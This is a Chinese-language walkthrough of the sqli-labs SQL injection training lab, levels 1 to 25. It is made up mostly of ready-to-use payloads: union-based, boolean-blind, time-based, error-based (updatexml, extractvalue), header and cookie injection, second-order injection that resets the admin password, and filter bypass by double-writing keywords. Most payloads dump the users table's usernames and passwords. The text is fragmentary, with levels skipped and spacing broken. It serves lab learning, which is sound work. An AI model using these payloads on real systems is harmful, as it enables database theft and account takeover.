?id=-1’union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=’security’–+
爆列名
?id=-1’union select 1,2,group_concat(column_name) from information_schema.columns where table_name=’users’–+
爆字段
?id=-1’ union select 1,2,group_concat(username ,”/“ , password) from users–+
Less-2
?id=1’
?id=1”均报错
?id=1和?id=2-1输出结果一样,说明时数字型注入
流程跟less-1一样
1 2 3 4 5 6
?id=1orderby3--+ #判别列数 ?id=-1unionselect1,2,3--+ #判断回显位 ?id=-1unionselect1,database(),3--+ #爆库名 ?id=-1unionselect1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+ #爆表名 ?id=-1unionselect1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+ #爆列名 ?id=-1unionselect1,2,group_concat(username ,"/" , password) from users --+ #爆字段
Less-3
输入?id=1和?id=2-1不一样,字符型注入
输入?id=1’报错,?id=1’‘,不报错
但是输入?id=1’ and 1=1 –+ 还是报错,说明不是简单的字符型单引号注入
输入?id=1’) and 1=1 –+ 成功回显,说明是(‘’)型接受id参数
接下来构造payload就行了
1 2 3 4 5 6
?id=1') order by 3--+ #判列数 ?id=-1') unionselect1,2,3--+ #判回显位 ?id=-1') union select 1,database(),3--+ #爆库名 ?id=-1') unionselect1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+ #爆表名 ?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+ #爆列名 ?id=-1') unionselect1,2,group_concat(username ,id , password) from users--+ #爆字段
Less-4
?id=1和?id=2-1结果不一样,字符型注入
?id=1’
?id=1’’
?id=1’’’ 三个都有回显,说明不是单引号注入
?id=1”报错,?id=1””有回显
?id=1” and 1=1 –+依旧报错,说明不是简单的双引号注入
?id=1”) and 1=1 –+正常回显,说明是(“ “)型注入
payload
1 2 3 4 5 6 7
?id=1") order by 3--+ #爆列数 ?id=-1") unionselect1,2,3--+ #爆回显位 ?id=-1") union select 1,database(),3--+ #爆库名 ?id=-1") unionselect1,2,group_concat(schema_name) from information_schema.schemata --+ #爆所有库名 ?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+ #爆所有表名 ?id=-1") unionselect1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+ #爆所有列名 ?id=-1") union select 1,2,group_concat(username ,'/', password) from users--+ #爆字段
Less-5
?id=1无回显,但是也没报错
?id=1’报错,?id=1’’不报错
?id=1’ and 1=1 不报错,说明是单引号型字符注入,因为不回显我们想要的信息,所以采用布尔盲注
?id=1'and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99--+ #爆表名字符长度 ?id=1'and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99--+ #一个字符一个字符的爆出表名每个字符的值
爆出来users表,接着爆列名
1 2 3
?id=1'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='users'),1,1))>99--+ #爆列名字符长度 ?id=1'and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20--+ #一个字符一个字符的爆出列名每个字符的值
爆出来username和password这两个列名,最后爆字段
1 2 3
?id=1' and length((select group_concat(username,password) from users))>109--+ #爆这两个字段的长度,其实不是很重要 ?id=1'and ascii(substr((select group_concat(username,password) from users),1,1))>50--+ #爆每个字符的值
布尔盲注比较麻烦,可以用burp逐个字符爆破
Less-6
?id=1’不报错,?id=1’’不报错
?id=1”报错,?id=1””不报错
说明是双引号的无回显注入,与第五关payload基本一致,再次略过
payload:
1 2 3 4 5 6 7
?id=1" and ascii(substr((select database()),1,1))=115--+ #爆库名
?id=1" and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99--+ #一个字符一个字符的爆出表名每个字符的值
?id=1" and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20--+ #一个字符一个字符的爆出列名每个字符的值
?id=1" and ascii(substr((select group_concat(username,password) from users),1,1))>50--+ #爆每个字符的值
Less-7
?id=1’报错,?id=1’’不报错
?id=1’ and 1=1 –+报错,说明不是简单的单引号注入
?id=1”不报错,不是简单的双引号注入
?id=1’) and 1=1–+报错,但是?id=1’)) and 1=1 –+不报错了,说明是((‘ ‘))型,payload依旧可以和第5、6关一样,不过前面改成?id=-1’))
payload
1 2 3 4 5 6 7
?id=1')) and ascii(substr((select database()),1,1))=115--+ #爆库名 ?id=1')) and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99--+ #一个字符一个字符的爆出表名每个字符的值
?id=1')) and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20--+ #一个字符一个字符的爆出列名每个字符的值 ?id=1')) and ascii(substr((select group_concat(username,password) from users),1,1))>50--+ #爆每个字符的值
Less-8
?id=1正常回显了You are in
?id=1’不回显了,?id=1’’再次回显
?id=1’ and 1=1 –+再次回显
说明这是一个简单的单引号型注入,依旧是布尔盲注
payload跟第五关一模一样,偷个懒不写了~
Less-9
第九关不管输入啥都回显You are in
尝试时间盲注,方便观察,用burp抓包试试
正常回显时间是35毫秒
?id=1’ and if(1,sleep(5),1)–+
发现回显明时间显慢了五秒,说明是单引号字符型注入
之后就是无聊的编写payload,利用sleep函数的响应速度快慢去爆破库名,表名,列名和字段名
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
?id=1'and if(length((select database()))>9,sleep(5),1)--+ #判断数据库名长度 ?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+ #逐一判断数据库字符 #爆出来数据库名为security ?id=1'and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13,sleep(5),1)--+ #判断所有表名长度 ?id=1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99,sleep(5),1)--+ #逐一判断表名 #爆出来表名users ?id=1'and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20,sleep(5),1)--+ #判断所有字段名的长度 ?id=1'and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99,sleep(5),1)--+ #逐一判断所有的列名的值。 #爆出来列名username和password ?id=1' and if(length((select group_concat(username,password) from users))>109,sleep(5),1)--+ #判断字段内容长度 ?id=1'and if(ascii(substr((select group_concat(username,password) from users),1,1))>50,sleep(5),1)--+ #逐一爆破字段值
?id=1"and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+ #逐一判断数据库字符 #爆出来数据库名为security ?id=1"and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13,sleep(5),1)--+ #判断所有表名长度
?id=1"and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99,sleep(5),1)--+ #逐一判断表名 #爆出来表名users ?id=1"and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20,sleep(5),1)--+ #判断所有字段名的长度
?id=1"and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99,sleep(5),1)--+ #逐一判断所有的列名的值。 #爆出来列名username和password ?id=1"and if(length((select group_concat(username,password) from users))>109,sleep(5),1)--+ #判断字段内容长度
?id=1"and if(ascii(substr((select group_concat(username,password) from users),1,1))>50,sleep(5),1)--+ #逐一爆破字段值
uname=a") order by 2--+ #爆列数 uname=a") unionselect1,2--+ #爆回显位 uname=a") union select 1,database()--+ #爆库名 uname=a") unionselect1,group_concat(schema_name) from information_schema.schemata --+ #爆所有库名 uname=a") union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'--+ #爆所有表名 uname=a") unionselect1,group_concat(column_name) from information_schema.columns where table_name='users'--+ #爆所有列名 uname=a") union select 1,group_concat(username ,'/', password) from users--+ #爆字段
Less-13
uname=a’ 报错
uname=a’ or 1=1 –+也报错,说明不是简单的单引号注入
?id=a’) or 1=1 –+ 成功登陆,那么注入类型就是’)
1 2 3 4 5 6 7
uname=a') order by 2--+ #爆列数 uname=a') unionselect1,2--+ #爆回显位 uname=a') union select 1,database()--+ #爆库名 uname=a') unionselect1,group_concat(schema_name) from information_schema.schemata --+ #爆所有库名 uname=a') union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'--+ #爆所有表名 uname=a') unionselect1,group_concat(column_name) from information_schema.columns where table_name='users'--+ #爆所有列名 uname=a') union select 1,group_concat(username ,'/', password) from users--+ #爆字段
############################用updatexml报错注入 uname=a" and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+ #爆库名
uname=a" and updatexml(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e),1)--+ #爆所有库名
uname=a" and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)--+ #爆表名
uname=a" and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),0x7e),1)--+ #爆列名
uname=a" and updatexml(1,concat(0x7e,(select group_concat(username,'/',password) from users),0x7e),1)--+ #爆字段
uname=admin'and if(length((select database()))>8,sleep(2),1)--+ #判断数据库名长度 uname=admin'and if(ascii(substr((select database()),1,1))=115,sleep(2),1)--+ #逐一判断数据库字符 #爆出来数据库名为security uname=admin'and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13,sleep(2),1)--+ #判断所有表名长度 uname=admin'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99,sleep(2),1)--+ #逐一判断表名 #爆出来表名users uname=admin'and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20,sleep(2),1)--+ #判断所有字段名的长度 uname=admin'and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99,sleep(2),1)--+ #逐一判断所有的列名的值。
#爆出来列名username和password uname=admin'and if(length((select group_concat(username,password) from users))>109,sleep(2),1)--+ #判断字段内容长度 uname=admin'and if(ascii(substr((select group_concat(username,password) from users),1,1))>50,sleep(2),1)--+ #逐一爆破字段值
uname=admin")and if(ascii(substr((select database()),1,1))=115,sleep(2),1)--+ #逐一判断数据库字符 #爆出来数据库名为security uname=admin")and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13,sleep(2),1)--+ #判断所有表名长度
uname=admin")and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99,sleep(2),1)--+ #逐一判断表名 #爆出来表名users uname=admin")and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20,sleep(2),1)--+ #判断所有字段名的长度
uname=admin")and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99,sleep(2),1)--+ #逐一判断所有的列名的值。
#爆出来列名username和password uname=admin")and if(length((select group_concat(username,password) from users))>109,sleep(2),1)--+ #判断字段内容长度
uname=admin")and if(ascii(substr((select group_concat(username,password) from users),1,1))>50,sleep(2),1)--+ #逐一爆破字段值
uname=admin&passwd=123' and(extractvalue(1,concat(0x5c,(select database()))))--+ #爆库名 uname=admin&passwd=123'and(extractvalue(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema='security'))))--+ #爆表名
uname=admin&passwd=123' and(extractvalue(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'))))--+ #爆列名 uname=admin&passwd=123'and(extractvalue(1,concat(0x5c,(select group_concat(username,'/',password) from users))))--+ #爆字段 #最后这个注入语句可能回报错,因为我们在查询users表的时候也正在更新新的密码,对于mysql数据库而言,是无法对一张表同时进行查询和更新的,因此报错也是正常的
1',1,updatexml(1,concat(0x5e,database()),1))# #爆库名 1',1,updatexml (1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x5c),1))# #爆表名
1',1,updatexml (1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),0x5c),1))# #爆列名 1',1,updatexml (1,concat(0x5c,(select group_concat(username,'/',password) from users),0x5c),1))# #爆字段
Less-19
输入正确的uname和passwd,回显了referer,burp抓包尝试在referer注入
输入1’发现报错,1’‘不报错了
payload
1 2 3 4 5 6 7
1',updatexml (1,concat(0x5c,(datavase()),0x5c),1))# #爆库名 1',updatexml (1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x5c),1))# #爆表
1',updatexml (1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x5c),1))# #爆列名 1',updatexml (1,concat(0x5c,(select group_concat(username,'/',password) from users),0x5c),1))# #爆字段
Less-20
输入正确的账号密码显示这样,可能存在cookie注入
改为get请求,将账号密码写cookie里试试
Cookie: uname=admin’ order by 1# 不报错
Cookie: uname=admin’ order by 5# 报错
存在注入
1 2 3 4 5 6 7
Cookie: uname=admin'and updatexml (1,concat(0x5c,(database()),0x5c),1)# 暴库名 Cookie: uname=admin'and updatexml (1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x5c),1)# 爆表名
Cookie: uname=admin'and updatexml (1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x5c),1)# 爆列名 Cookie: uname=admin'and updatexml (1,concat(0x5c,(select group_concat(username,'/',password) from users),0x5c),1)# 爆字段
UPDATE users SET PASSWORD='123456'where username='admin' #' and password='$curr_pass' #实际执行的 UPDATE users SET PASSWORD='123456' where username='admin'
成功登录到admin账号
Less-25
?id=1 正常回显
?id=1’ 报错
?id=1’’ 不报错,说明是单引号型注入
?id=1’ and 1=1 #
回显过滤了and
?id=1’ aandnd 1=1 # 双写绕过成功
?id=1’ oorrder by 4 –+
?id=1’ oorrder by 3 –+ 判断列数 共3列
1 2 3 4 5 6 7 8 9
?id=-1' union select 1,2,3 --+ #判断回显位 ?id=-1'unionselect1,database(),3--+ #爆库名
?id=-1' union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema='security' --+ #爆表名 ?id=-1'unionselect1,2,group_concat(column_name) from infoorrmation_schema.columns where table_name='users'--+ #爆列名
?id=-1' union select 1,2,group_concat(username ,"/" , passwoorrd) from users --+ #爆字段